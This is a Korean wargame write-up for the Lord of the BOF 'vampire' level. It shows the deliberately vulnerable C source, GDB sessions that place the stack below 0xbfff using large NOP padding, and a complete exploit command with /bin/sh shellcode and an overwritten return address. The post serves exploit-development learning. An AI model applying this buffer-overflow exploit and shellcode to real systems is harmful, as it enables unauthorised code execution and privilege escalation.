본문 바로가기

WarGame/LOB

[LOB] troll :: Stack Escalate


  • User : troll
  • 문제 : vampire 


vampire.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
        char buffer[40];
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // here is changed!
        if(argv[1][46== '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]); // Vulnerability!!!
        printf("%s\n", buffer);
}
cs


argv의 갯수에 대한 제한은 없지만, argv[1]의 48번째 문자가 "0xbf"이어야 하고, 47번째 문자가 "0xff"이면 프로그램이 종료됩니다. 즉, RET 값을 Little Endian으로 "0xbfff" 보다 낮은 주소로 시작하는 값으로만 수정할 수 있습니다.

문제를 해결하기 위해서는 Stack의 메모리 구조에 대해 이해해야 합니다. Stack은 높은 주소 부터 쌓이게 되는데 이때 대량의 특정 값이 Stack에 쌓인 다면 다음 주소는 "0xbfff" 보다 한참 위가 될 것입니다.


Step 1. GDB를 이용하여 buffer의 크기를 파악해 보면 buffer는 40 Byte이고 그 다음 SFP와 RET가 위치해 있습니다.


Step 2. GDB를 이용하여 argv[2]에 대량의 값을 집어 넣고 esp의 시작 위치를 파악해 보면 아래와 같은 결과를 확인할 수 있습니다. argv[2]에 100 Byte만큼의 NOP 코드를 삽입하면 esp의 시작 주소는 0xbffffa58입니다. 이번에는 argv[2]에 10000 Byte 만큼의 NOP 코드를 삽입하면 esp의 시작 주소는 0xbfffd3a8이라는 것을 확인할 수 있습니다. 정확하지는 않지만 fa58 - d3a8을 해 보면 약 9000 만큼의 차이가 나는 것을 확인할 수 있습니다.

우리는 "0xbfff" 보다 낮은 주소로 RET 값을 수정해야 함으로 argv[2]에 100000 Byte 만큼의 NOP 코드를 삽입하여 esp의 시작 주소를 파악해 봅니다. esp의 시작 주소가 "0xbffe"로 시작함으로 이 곳에 shellcode를 삽입하면 문제를 해결할 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) b *0x80484b9
Breakpoint 1 at 0x80484b9
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100'`
Starting program: /home/troll/tmp/vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100'`
 
Breakpoint 1, 0x80484b9 in main ()
(gdb) x/x $esp
0xbffffa58:     0xbffffa60
--------------------------------------------------------------------------------------------------------
(gdb) b *0x80484b9
Breakpoint 2 at 0x80484b9
(gdb)  r `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*10000'`
Starting program: /home/troll/tmp/vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*10000'`
 
Breakpoint 2, 0x80484b9 in main ()
(gdb) x/x $esp
0xbfffd3a8:     0xbfffd3b0
--------------------------------------------------------------------------------------------------------
(gdb) b *0x80484b9
Breakpoint 3 at 0x80484b9
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100000'`
Starting program: /home/troll/tmp/vampire `python -c 'print "\xbf"*48'` `python -c 'print "\x90"*100000'`
 
Breakpoint 3, 0x80484b9 in main ()
(gdb) x/x $esp
0xbffe7418:     0xbffe7420
cs


Step 3. 이제 다음과 같은 payload를 만들 수 있습니다. argv[2]에 100 Byte의 NOP 코드와 shellcode, 그리고 100000 Byte 만큼의 NOP 코드를 삽입하고 argv[1]의 RET 값을 해당 shellcode 영역으로 덮어씌웁니다.


1
2
3
[troll@localhost tmp]$ ./vampire `python -c 'print "A"*44+"\x60\x75\xfe\xbf"'` `python -c 'print "\x90"*100+"\xeb\x1f\x5e\x89
\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc
\xff\xff\xff/bin/sh"+"\x90"*100000'`
cs